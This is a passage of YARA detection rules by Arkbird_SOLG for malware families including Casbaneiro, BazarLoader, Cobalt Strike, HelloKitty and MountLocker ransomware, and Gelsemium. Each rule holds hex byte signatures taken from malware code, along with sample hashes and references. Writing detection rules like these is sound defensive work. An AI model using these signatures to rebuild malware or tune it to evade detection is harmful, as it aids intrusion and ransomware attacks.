ef ff ff 66 c7 }
		$s5 = { 38 9d a0 fd ff ff 74 0c ff b5 94 fd ff ff e8 a6 ca ff ff 59 8d 85 ac fd ff ff 50 56 ff 15 48 a1 44 00 85 c0 0f 85 4d ff ff ff 8b 85 a4 fd ff ff 8b 8d 84 fd ff ff 8b 10 8b 40 04 2b c2 c1 f8 02 3b }
		$s6 = { 4d 61 70 3a 20 25 73 0a 00 00 00 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6e 00 67 00 20 00 25 00 6c 00 73 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 }
		$s7 = { 44 6f 6e 65 21 21 0a 00 25 66 20 73 65 63 6f 6e 64 73 0a }
		$s8 = { 56 68 01 00 00 08 6a 01 52 ff 15 14 a0 44 00 85 c0 0f 84 97 00 00 00 8d 45 f8 50 53 53 6a 06 53 ff 36 8b 1d 20 a0 44 00 ff d3 85 c0 74 73 ff 75 f8 e8 3b a7 01 00 a3 b8 2c 46 00 59 85 c0 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 50KB and 6 of ( $s* )
}

rule ARKBIRD_SOLG_Malware_Casbaneiro_MSI : FILE
{
	meta:
		description = "Detect MSIPackage used by Casbaneiro"
		author = "Arkbird_SOLG"
		id = "47a5ea47-f799-5467-a482-9816c0de3ecf"
		date = "2020-06-05"
		modified = "2020-06-05"
		reference = "https://twitter.com/JAMESWT_MHT/status/1268811438707159040"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-05/Casbaneiro/Casbaneiro_stealer.yar#L3-L22"
		license_url = "N/A"
		logic_hash = "fa1c53268d51b4b34b4cf4cd84ddb43ffba1dfa8bbe73cd7506f5e31e970855b"
		score = 75
		quality = 71
		tags = "FILE"
		hash1 = "8e77a2e1d30600db01a8481d232b601581faee02b7ec44c1ad9d74ec3544ba7d"
	strings:
		$x1 = "C:\\Branch\\win\\Release\\custact\\x86\\vmdetect.pdb" fullword ascii
		$s2 = "C:\\Branch\\win\\Release\\custact\\\\x86\\AICustAct.pdb" fullword ascii
		$s3 = ";!@Install@!UTF-8!\\nTitle=\"Mozilla Firefox\"\\nRunProgram=\"setup-stub.exe\"\\n;!@InstallEnd@!7z" fullword ascii
		$s4 = "__MOZCUSTOM__:campaign%3D%2528not%2Bset%2529%26content%3D%2528not%2Bset%2529%26medium%3Dreferral%26source%3Dwww.google.com" fullword ascii
		$s5 = "https://www.mozilla.com0\\r" fullword wide
		$s6 = "__CxxFrameHandler" fullword ascii
		$s7 = "release+certificates@mozilla.com" fullword ascii
		$s8 = "setup-stub.exe" fullword ascii
		$s9 = "7zS.sfx.exe" fullword ascii
	condition:
		uint16( 0 ) == 0xd0cf and filesize > 100KB and 7 of them
}

rule ARKBIRD_SOLG_MAL_Bazarloader_Oct_2021_1 : FILE
{
	meta:
		description = "Detect BazarLoader implant"
		author = "Arkbird_SOLG"
		id = "d6462e74-fe1d-599e-aac8-0d0942ca42ad"
		date = "2021-10-30"
		modified = "2021-10-30"
		reference = "https://twitter.com/malwrhunterteam/status/1454154412902002692"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/MAL_BazarLoader_Oct_2021_1.yara#L1-L17"
		license_url = "N/A"
		logic_hash = "afbe02ef9e69ac5105aaae28240d6863c9c4578c0e8fd7c86c38d975cf8acdc6"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "0ba7554e7d120ce355c6995c6af95542499e4ec2f6012ed16b32a85175761a94"
		hash2 = "2b29c80a4829d3dc816b99606aa5aeead3533d24137f79b5c9a8407957e97b10"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 48 8b 44 24 60 c6 80 38 01 00 00 01 48 8b 44 24 60 c6 80 39 01 00 00 02 48 8b 44 24 60 c7 40 5c 03 00 00 00 b8 60 00 00 00 48 6b c0 00 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 01 00 00 00 48 8b 44 24 20 c7 40 08 02 00 00 00 48 8b 44 24 20 c7 40 0c 02 00 00 00 48 8b 44 24 20 c7 40 10 00 00 00 00 48 8b 44 24 20 c7 40 14 00 00 00 00 48 8b 44 24 20 c7 40 18 00 00 00 00 b8 60 00 00 00 48 6b c0 01 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 22 00 00 00 48 8b 44 24 20 c7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 0c 01 00 00 00 48 8b 44 24 20 c7 40 10 01 00 00 00 48 8b 44 24 20 c7 40 14 01 00 00 00 48 8b 44 24 20 c7 40 18 01 00 00 00 b8 60 00 00 00 48 6b c0 02 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 23 00 00 00 48 8b 44 24 20 c7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 0c 01 00 00 00 48 8b 44 24 20 c7 40 10 01 00 00 00 48 8b 44 24 20 c7 40 14 01 00 00 00 48 8b 44 24 20 c7 40 18 01 }
		$s2 = { 48 8b 44 24 50 48 8b 00 c7 40 28 10 00 00 00 48 8b 44 24 50 48 8b 00 b9 04 00 00 00 48 6b c9 00 48 8b 54 24 50 8b 92 18 01 00 00 89 54 08 2c 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 4c 24 50 e8 80 f8 ff ff 48 8b 4c 24 50 e8 c6 fe ff ff 48 8b 44 24 50 83 78 78 00 76 16 48 8b 44 24 50 83 78 74 00 76 0b 48 8b 44 24 50 83 78 7c 00 7f 1e 48 8b 44 24 50 48 8b 00 c7 40 28 21 00 00 00 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 44 24 50 48 8b 4c 24 50 8b 40 74 0f af 41 7c 89 44 24 24 8b 44 24 24 89 44 24 34 8b 44 24 24 39 44 24 34 74 1e 48 8b 44 24 50 48 8b 00 c7 40 28 48 00 00 00 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 44 24 38 c7 40 18 00 00 00 00 48 8b 4c 24 50 e8 0c fc ff ff 48 8b 4c 24 38 88 41 1c 48 8b 44 24 38 48 c7 40 20 00 00 00 00 48 8b 44 24 38 48 c7 40 28 00 00 00 00 48 8b 44 24 50 0f b6 40 62 85 c0 74 0d 48 8b 44 }
		$s3 = { 48 8b 84 24 c0 00 00 00 8b 80 64 01 00 00 39 44 24 30 0f 8d 82 00 00 00 48 63 44 24 30 48 8b 8c 24 c0 00 00 00 48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44 24 38 48 8b 4c 24 58 8b 40 10 0f af 41 0c 48 8b 4c 24 58 48 63 49 04 48 8b 94 24 c0 00 00 00 48 8b 52 08 48 89 54 24 70 c6 44 24 20 00 4c 8b 44 24 58 45 8b 48 0c 44 8b c0 48 8b 44 24 38 48 8b 54 c8 70 48 8b 8c 24 c0 00 00 00 48 8b 44 24 70 ff 50 40 48 63 4c 24 30 48 89 84 cc 80 00 00 00 e9 5c ff ff ff 48 8b 44 24 38 8b 40 18 89 44 24 40 eb 0a 8b 44 24 40 ff c0 89 44 24 40 48 8b 44 24 38 8b 40 1c 39 44 24 40 0f 8d af 01 00 00 48 8b 44 24 38 8b 40 14 89 44 24 44 eb 0a 8b 44 24 44 ff c0 89 44 24 44 48 8b 84 24 c0 00 00 00 8b 80 88 01 00 00 39 44 24 44 0f 83 6e 01 00 00 c7 44 24 50 00 00 00 00 c7 44 24 30 00 00 00 00 eb 0a 8b 44 24 30 ff c0 89 44 24 30 48 8b 84 24 c0 00 00 00 8b 80 64 01 00 00 39 44 24 30 0f 8d e2 00 00 00 48 63 44 24 30 48 8b 8c 24 c0 00 00 00 48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44 24 58 8b 4c 24 44 0f af 48 38 8b c1 89 44 24 60 c7 44 24 48 00 00 00 00 eb 0a 8b 44 24 48 ff c0 89 44 24 48 48 8b }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 200KB and all of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Cobaltstrike_Oct_2021_1 : FILE
{
	meta:
		description = "Detect Cobalt Strike implant"
		author = "Arkbird_SOLG"
		id = "89d46993-cc1b-536b-b1ab-a0e967d0d397"
		date = "2021-10-30"
		modified = "2021-10-30"
		reference = "https://twitter.com/malwrhunterteam/status/1454154412902002692"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/MAL_CobaltStrike_Oct_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "4f1a2306b8279be67829d0d515063caae6a9d7a07078a43c2cbe62f675bcb450"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "f520f97e3aa065efc4b7633735530a7ea341f3b332122921cb9257bf55147fb7"
		hash2 = "7370c09d07b4695aa11e299a9c17007e9267e1578ce2753259c02a8cf27b18b6"
		hash3 = "bfbc1c27a73c33e375eeea164dc876c23bca1fbc0051bb48d3ed3e50df6fa0e8"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 48 83 ec 10 4c 89 14 24 4c 89 5c 24 08 4d 33 db 4c 8d 54 24 18 4c 2b d0 4d 0f 42 d3 65 4c 8b 1c 25 10 00 00 00 4d 3b d3 f2 73 17 66 41 81 e2 00 f0 4d 8d 9b 00 f0 ff ff 41 c6 03 00 4d 3b d3 f2 75 ef 4c 8b 14 24 4c 8b 5c 24 08 48 83 c4 10 f2 c3 }
		$s2 = { 89 ?? 24 ?? 8b ?? 24 0c 89 ?? 24 ?? 8b ?? 24 ?? c1 ?? 0d 89 ?? 24 0c 48 8b ?? 24 10 89 ?? 24 [2] 8b ?? 24 10 }
		$s3 = { b8 10 00 00 00 48 89 45 ?? e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 8b 55 f8 89 11 4c 8b 45 ?? 4c 8b 4d f0 4d 89 08 4c 8b 55 ?? 4c 8b 5d e8 4d 89 1a 48 8b 75 ?? 48 8b 7d e0 48 89 3e c7 00 ?? 00 00 00 48 8b 05 [3] 00 48 05 [2] 00 00 8b 19 4d 8b 00 4d 8b 32 48 8b 0e 48 83 ec 20 4c 89 f2 41 89 d9 ff d0 48 83 c4 20 ?? 45 }
		$s4 = { 48 83 ec 48 44 89 4c 24 44 4c 89 44 24 38 48 89 54 24 30 48 89 4c 24 28 c7 44 24 24 ?? 00 00 00 48 8b 05 [3] 00 48 05 [2] 00 00 44 8b 4c 24 44 4c 8b 44 24 38 48 8b 54 24 30 48 8b 4c 24 28 ff d0 90 48 83 c4 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 20KB and 3 of ( $s* )
}

rule ARKBIRD_SOLG_RAN_ELF_Hellokitty_Aug_2021_1 : FILE
{
	meta:
		description = "Detect HelloKitty ransomware"
		author = "Arkbird_SOLG"
		id = "3e83f07a-0ee7-5381-9aba-2606c01b9d91"
		date = "2021-08-14"
		modified = "2021-08-14"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-14/HelloKitty/RAN_ELF_HelloKitty_Aug_2021_1.yara#L1-L17"
		license_url = "N/A"
		logic_hash = "99816756ea0a680eb25da192c9f069082f6479befe4e50188ad8f90b323d1f2d"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "ca607e431062ee49a21d69d722750e5edbd8ffabcb54fa92b231814101756041"
		hash2 = "b4f90cff1e3900a3906c3b74f307498760462d719c31d008fc01937f5400fb85"
		tlp = "White"
		adversary = "RAAS"
	strings:
		$seq1 = { 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 05 ?? 13 21 00 48 8b 3d ?? 14 21 00 48 89 e9 ba ?? 0c 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e2 ff ff 48 8b 3d ?? 14 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 05 ?? 13 21 00 48 8b 3d ?? 12 21 00 48 89 e9 ba ?? 0c 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e2 ff ff 48 8b 05 [2] 21 00 b9 ?? 0c 41 00 ba 80 00 00 00 be 01 00 00 00 4c 89 e7 48 8b 04 18 44 8b 00 31 c0 e8 ?? e5 ff ff 4c 89 e7 e8 cd 10 00 00 48 85 c0 49 89 c7 0f 84 9b 00 00 00 48 83 3d ?? 13 21 00 00 74 60 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 ?? e3 ff ff 48 8b 05 ?? 12 21 00 48 8b 3d ?? 13 21 00 48 89 e9 ba [2] 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e1 ff ff 48 8b 3d ?? 13 21 00 e8 ?? e6 ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 05 ?? 12 21 00 48 8b 3d [2] 21 00 48 89 e9 ba [2] 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e1 ff ff }
		$seq2 = { 31 c0 b9 40 00 00 00 48 89 ef f3 ab be ?? 0d 41 00 48 89 df e8 [2] ff ff 48 85 c0 49 89 c5 0f 84 4c 01 00 00 48 89 c2 48 89 de 48 89 ef 48 29 da e8 71 07 00 00 be 3a 00 00 00 48 89 ef e8 [2] ff ff 48 8d 78 01 e8 [2] ff ff 85 c0 41 89 c7 0f 84 04 01 00 00 bf 10 00 00 00 e8 ?? dd ff ff 4c 89 ef 44 89 38 49 89 c6 48 89 04 24 e8 3d f5 ff ff 48 83 3d ?? 0e 21 00 00 49 89 46 08 74 6f 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 04 24 48 8b 0d ?? 0d 21 00 ba ?? 0d 41 00 48 2b 0d ?? 0d 21 00 48 8b 3d ?? 0e 21 00 be 01 00 00 00 4c 8b 48 08 44 8b 00 31 c0 48 c1 f9 03 48 ff c1 e8 ?? dc ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 04 24 48 8b 0d [2] 21 00 be 01 00 00 00 48 2b 0d [2] 21 00 48 8b 3d ?? 0c 21 00 ba ?? 0d 41 00 4c 8b 48 08 44 8b 00 31 c0 48 c1 f9 03 48 ff c1 e8 [2] ff ff 48 8b 35 [2] 21 00 48 3b 35 [2] 21 00 74 16 48 85 f6 74 07 48 8b 04 24 48 89 06 48 83 05 [2] 21 00 08 eb 0d 48 89 e2 bf e0 49 61 00 e8 af 02 00 00 48 8d 7b 01 be ?? 0d 41 00 e8 ?? dd ff ff 48 89 c3 e9 86 fe ff ff 4d 85 e4 74 08 4c 89 e7 e8 [2] ff ff 48 83 3d ?? 0d 21 00 00 74 61 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 0d ?? 0c 21 00 48 2b 0d ?? 0c 21 00 ba ?? 0d 41 00 48 8b 3d ?? 0d 21 00 be 01 00 00 00 31 c0 48 c1 f9 03 e8 ?? db ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 0d ?? 0c 21 00 48 2b 0d [2] 21 00 31 c0 48 8b 3d ?? 0b 21 00 ba ?? 0d 41 00 be 01 00 00 00 48 c1 f9 03 e8 [2] ff ff 48 8b 84 24 18 01 00 00 64 48 33 04 25 28 00 00 }
		$seq3 = { 48 8d b4 24 90 00 00 00 bf d0 4a 61 00 48 c7 84 24 98 00 00 00 00 00 00 00 48 c7 84 24 90 00 00 00 01 00 00 00 e8 [2] ff ff e8 ?? 22 00 00 89 44 24 08 8b 05 [2] 21 00 89 d9 44 8b 0d [2] 21 00 44 8b 05 [2] 21 00 ba ?? 0e 41 00 48 8b 3d [2] 21 00 be 01 00 00 00 89 04 24 31 c0 e8 ?? f8 ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 31 f6 ba 0a 00 00 00 bf 40 4a 61 00 e8 ?? fa ff ff ba 0a 00 00 00 31 f6 bf 20 4a 61 00 e8 ?? fa ff ff be 01 00 00 00 bf 11 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 14 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 16 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 15 00 00 00 e8 [2] ff ff 83 3d ?? 28 21 00 00 }
	condition:
		uint32( 0 ) == 0x464C457F and filesize > 20KB and all of ( $seq* )
}

rule ARKBIRD_SOLG_RAN_Mountlocker_May_2021_1 : FILE
{
	meta:
		description = "Detect the Mountlocker ransomware"
		author = "Arkbird_SOLG"
		id = "0bc0d341-4658-500e-b487-1993e5431560"
		date = "2020-05-12"
		modified = "2021-05-16"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-12/Astrolocker/RAN_MountLocker_May_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "c0826d4c740b5c46b704b42e002602dd0cda2b6d1bf0ba5431877be8bd600b64"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "0aa8099c5a65062ba4baec8274e1a0650ff36e757a91312e1755fded50a79d47"
		hash2 = "f570d5b17671e6f3e56eae6ad87be3a6bbfac46c677e478618afd9f59bf35963"
		hash3 = "5eae13527d4e39059025c3e56dad966cf67476fe7830090e40c14d0a4046adf0"
		tlp = "White"
		adversary = "MountLocker"
	strings:
		$seq_Sep_2020_1 = { 40 53 48 81 ec f0 02 00 00 b9 e8 03 00 00 ff 15 ec 1a 00 00 bb 68 00 00 00 48 8d 4c 24 70 44 8b c3 33 d2 e8 9c 00 00 00 ba 04 01 00 00 89 5c 24 70 48 8d 8c 24 e0 00 00 00 ff 15 51 1a 00 00 48 8d 15 a2 9c 00 00 48 8d 8c 24 e0 00 00 00 ff 15 64 1a 00 00 48 8d 44 24 50 45 33 c9 48 89 44 24 48 48 8d 94 24 e0 00 00 00 48 8d 44 24 70 45 33 c0 48 89 44 24 40 33 c9 48 83 64 24 38 00 48 83 64 24 30 00 c7 44 24 28 10 00 00 00 83 64 24 20 00 ff 15 c1 19 00 00 8b d8 85 c0 74 16 48 8b 4c 24 58 ff 15 50 1a 00 00 48 8b 4c 24 50 ff 15 45 1a 00 00 8b c3 48 81 c4 f0 02 }
		$seq_Sep_2020_2 = { 68 00 00 00 f0 6a 01 68 a0 51 00 10 57 8d 45 f8 89 5d f4 50 89 7d f8 89 7d fc ff 15 30 50 00 10 85 c0 0f 84 81 00 00 00 8d 45 fc 50 57 57 68 14 01 00 00 68 d0 d0 00 10 ff 75 f8 ff 15 08 50 00 10 8b f0 85 f6 74 26 68 00 01 00 00 8d 45 f4 50 68 60 42 01 10 57 6a 01 57 ff 75 fc ff 15 04 50 00 10 ff 75 fc 8b f0 ff 15 00 50 00 10 57 ff 75 f8 ff 15 0c 50 00 10 }
		$seq_Jan_2021_1 = { 48 21 4d 77 4c 8d 05 [2] 00 00 48 21 4d 6f ?? 8b ?? 48 8d 4d 77 [6-9] c7 44 24 20 00 00 00 f0 ff 15 [2] 00 00 85 c0 0f 84 [2] 00 00 48 8b 4d 77 48 8d 45 6f 48 89 44 24 28 48 8d [3] 00 00 83 64 24 20 00 [2-5] c9 41 b8 14 01 00 00 ff 15 [2] 00 00 8b d8 85 c0 74 3b 48 8b 4d 6f 48 8d 45 67 c7 44 24 30 00 01 00 00 45 33 c9 48 89 44 24 28 ?? 8b ?? 48 8d 05 [2-3] 00 33 d2 48 89 44 24 20 ff 15 [2] 00 00 48 8b 4d 6f 8b d8 ff 15 [2] 00 00 48 8b 4d 77 33 d2 ff 15 [2] 00 00 85 db [4-12] 00 00 48 8d }
		$seq_Jan_2021_2 = { 4c 8d 05 20 47 00 00 41 8b ce 48 8d 15 1e 47 00 00 e8 [2] 00 00 ba 04 01 00 00 48 8d 4c 24 40 ff 15 ?? 43 00 00 85 c0 75 12 b8 5c 00 00 00 c7 44 24 40 43 00 3a 00 66 89 44 24 44 89 6c 24 38 4c 8d 8c 24 78 02 00 00 48 89 6c 24 30 48 8d 4c 24 40 48 89 6c 24 28 45 33 c0 33 d2 48 89 6c 24 20 66 89 6c 24 46 ff 15 6b 44 00 00 44 8b 84 24 78 02 00 00 48 8d 15 e4 45 00 00 85 c0 b9 bd 07 a2 41 44 0f 44 c1 41 8b c8 44 89 84 24 78 02 00 00 c1 c9 09 41 8b c0 89 4c 24 28 45 8b c8 c1 c8 06 48 8d 4c 24 40 41 c1 c9 03 89 44 24 20 ff 15 8b 44 00 00 4c 8d 44 24 40 33 d2 33 c9 ff 15 ?? 42 00 00 48 85 c0 74 1b ff 15 [2] 00 00 3d b7 00 00 00 74 0e bf 01 00 00 00 48 8d 15 fe 45 00 00 eb 09 8b fd 48 8d 15 a3 45 00 00 41 8b }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 30KB and 1 of ( $seq* )
}

rule ARKBIRD_SOLG_APT_Gelsemium_Gelsenicine_June_2021_2 : FILE
{
	meta:
		description = "Detect Gelsenicine malware (Loader - Variant 2)"
		author = "Arkbird_SOLG"
		id = "c6e28da2-622b-57ba-9381-9f8f6b8879bf"
		date = "2021-06-12"
		modified = "2021-06-14"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsenicine_June_2021_2.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "e1d6402c743af697c8d1b34087b6fe9db80237834d73967b0a0638023d4e4a40"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "6eaeca0cf28e74de6cfd82d29a3c3cc30c2bc153ac811692cc41ee290d766474"
		hash1 = "d986207bc108e55f4b110ae208656b415d2c5fcc8f99f98b4b3985e82b9d5e5b"
		hash1 = "ec491de0e2247f64b753c4ef0c7227ea3548c2f222b547528dae0cf138eca53a"
		tlp = "white"
		adversary = "Gelsemium"
	strings:
		$s1 = { 48 53 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 48 8b d9 c7 44 24 40 00 00 00 00 8b 05 [3] 00 a8 01 0f 85 96 00 00 00 83 c8 01 89 05 [3] 00 33 c0 88 44 24 40 4c 8d 44 24 40 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 48 4c 8d 44 24 48 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 40 4c 8d 44 24 40 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 48 4c 8d 44 24 48 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 48 8d 0d [2] 00 00 e8 [2] 00 00 90 48 c7 43 08 00 00 00 00 48 c7 43 10 00 00 00 00 48 c7 43 18 00 00 00 00 4c 8d 0d [3] 00 4c 8d 05 [3] 00 33 d2 48 8b cb e8 86 f9 ff ff 48 8b c3 48 83 c4 30 }
		$s2 = { 54 00 65 00 6d 00 70 00 2f 00 00 00 00 00 00 00 43 00 6f 00 6d 00 6d 00 6f 00 6e 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 2f 00 00 00 00 00 53 00 79 00 73 00 74 00 65 00 6d 00 2f 00 00 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2f }
		$s3 = { 48 8b ca e8 [3] 00 48 39 5e 08 75 05 48 8b c3 eb 08 48 8b 46 10 48 2b 46 08 3b c3 0f 4c c3 48 63 c8 e8 [3] 00 48 89 47 08 48 8b 56 10 48 8b 4e 08 4c 8b d8 eb 10 4c 3b db 74 05 8a 01 41 88 03 49 ff c3 48 ff c1 48 3b ca 75 eb 4c 89 5f 10 4c 89 5f 18 48 8b c7 48 83 c4 20 5f 5e }
		$s4 = { 45 33 c9 45 33 c0 ba 80 00 00 00 48 8b ce e8 16 f2 ff ff 84 c0 74 71 48 8d 53 18 41 b8 20 00 00 00 48 8b ce e8 e4 f4 ff ff 84 c0 74 5b 48 8d 53 38 41 b8 20 00 00 00 48 8b ce e8 56 f9 ff ff 84 c0 74 45 48 8b 43 10 48 8b 0d [3] 00 48 3b c1 74 0d 48 8b d8 48 8b 00 48 3b c1 75 f5 eb 1b 48 8b 43 08 eb 07 48 8b d8 48 8b 40 08 48 3b 58 10 74 f3 48 39 43 10 48 0f }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 30KB and 3 of ( $s* )
}

rule ARKBIRD_SOLG_APT_Gelsemium_Gelsevirine_June_2021_1 : FILE
{
	meta:
		description = "Detect Gelsevirine malware (Main Plug-in)"
		author = "Arkbird_SOLG"
		id = "31900186-2531-5558-aafb-67707040ddaf"
		date = "2021-06-12"
		modified = "2021-06-14"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsevirine_June_2021_1.yara#L1-L18"
		license_url = "N/A"
		logic_hash = "06e7ee49092621c8469eeb1cd9e5cc1420a1879084e0d0a39181dc046bfa00cf"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "1a9d78e5c255de239fb18b2cf47c4c2298f047073299c27fb54a0edf08a1d5a1"
		hash1 = "51b9296ff1f562350cd63abd22c6032ef26d5ae6a3e2e5e0f851d8b1a5d0ee35"
		tlp = "white"
		adversary = "Gelsemium"
	strings:
		$s1 = { 48 8b c4 55 41 56 41 57 48 8d a8 38 fa ff ff 48 81 ec b0 06 00 00 48 c7 85 a0 02 00 00 fe ff ff ff 48 89 58 08 48 89 70 10 48 89 78 18 4c 89 60 20 48 8b 05 68 bf 0b 00 48 33 c4 48 89 85 a0 05 00 00 45 33 e4 4c 89 65 08 4c 89 65 10 44 89 64 24 20 48 8d 54 24 20 48 8d 4d 08 e8 30 96 01 00 90 48 c7 85 f8 00 00 00 07 00 00 00 4c 89 a5 f0 00 00 00 66 44 89 a5 e0 00 00 00 45 8d 44 24 04 48 8d 15 79 d8 08 00 48 8d 8d e0 00 00 00 e8 dd b0 00 00 90 48 8d 8d e0 00 00 00 e8 50 30 ff ff 90 48 83 bd f8 00 00 00 08 72 0d 48 8b 8d e0 00 00 00 ff 15 b0 32 06 00 48 c7 85 b8 01 00 00 07 00 00 00 4c 89 a5 b0 01 00 00 66 44 89 a5 a0 01 00 00 41 b8 10 00 00 00 48 8d 15 61 d6 08 00 48 8d 8d a0 01 00 00 e8 85 b0 00 00 90 48 8d 95 a0 01 00 00 48 8d 8d 80 05 00 00 e8 41 96 01 00 90 48 83 bd b8 01 00 00 08 72 0d 48 8b 8d a0 01 00 00 ff 15 51 32 06 00 48 c7 85 68 04 00 00 07 00 00 00 4c 89 a5 60 04 00 00 66 44 89 a5 50 04 00 00 48 c7 85 78 01 00 00 07 00 00 00 4c 89 a5 70 01 00 00 66 44 89 a5 60 01 00 00 49 83 ce ff 4d 8b ce 45 33 c0 48 8d 95 80 05 00 00 48 8d 8d 60 01 00 00 e8 c8 ae 00 00 90 48 8d 95 60 01 00 00 48 8d 8d e0 01 00 00 e8 e4 5b ff ff 90 48 8d 8d 50 04 00 00 48 3b c8 74 15 4d 8b ce 45 33 c0 48 8b d0 48 8d 8d 50 04 00 00 e8 92 ae 00 00 48 8d 8d 50 04 00 00 e8 b6 11 ff ff 90 48 83 bd f8 01 00 00 08 72 0d 48 8b 8d e0 01 00 00 ff 15 a6 31 06 00 48 c7 85 f8 01 00 00 07 00 00 00 4c 89 a5 f0 01 00 00 66 44 89 a5 e0 01 00 00 48 83 bd 78 01 00 00 08 72 0d 48 8b 8d 60 01 00 00 ff 15 75 31 06 00 33 d2 48 8d 8d 50 04 00 00 e8 5f 2b 04 00 48 c7 85 58 01 00 00 07 00 00 00 4c 89 a5 50 01 00 00 66 44 89 a5 40 01 00 00 41 b8 0d 00 00 00 48 8d 15 b8 e2 08 00 48 8d 8d 40 01 00 00 e8 3c af 00 00 90 e8 96 2d ff ff 48 8d 48 30 48 8d 95 40 01 00 00 e8 b6 77 00 00 48 8b c8 e8 fe dc 02 00 48 8b c8 e8 16 d5 ff ff 90 48 83 bd 58 01 00 00 08 72 0d 48 8b 8d 40 01 00 00 ff 15 f6 30 06 00 48 c7 85 18 01 00 00 07 00 00 00 4c 89 a5 10 01 00 00 66 44 89 a5 00 01 00 00 41 b8 24 00 00 00 48 8d 15 d7 e3 08 00 48 8d 8d 00 01 00 00 e8 cb ae 00 00 90 48 8d 8d 00 01 00 00 e8 ce 6b 00 00 84 c0 0f 94 c3 48 83 bd 18 01 00 00 08 72 0d 48 8b 8d 00 01 00 00 ff 15 9a 30 06 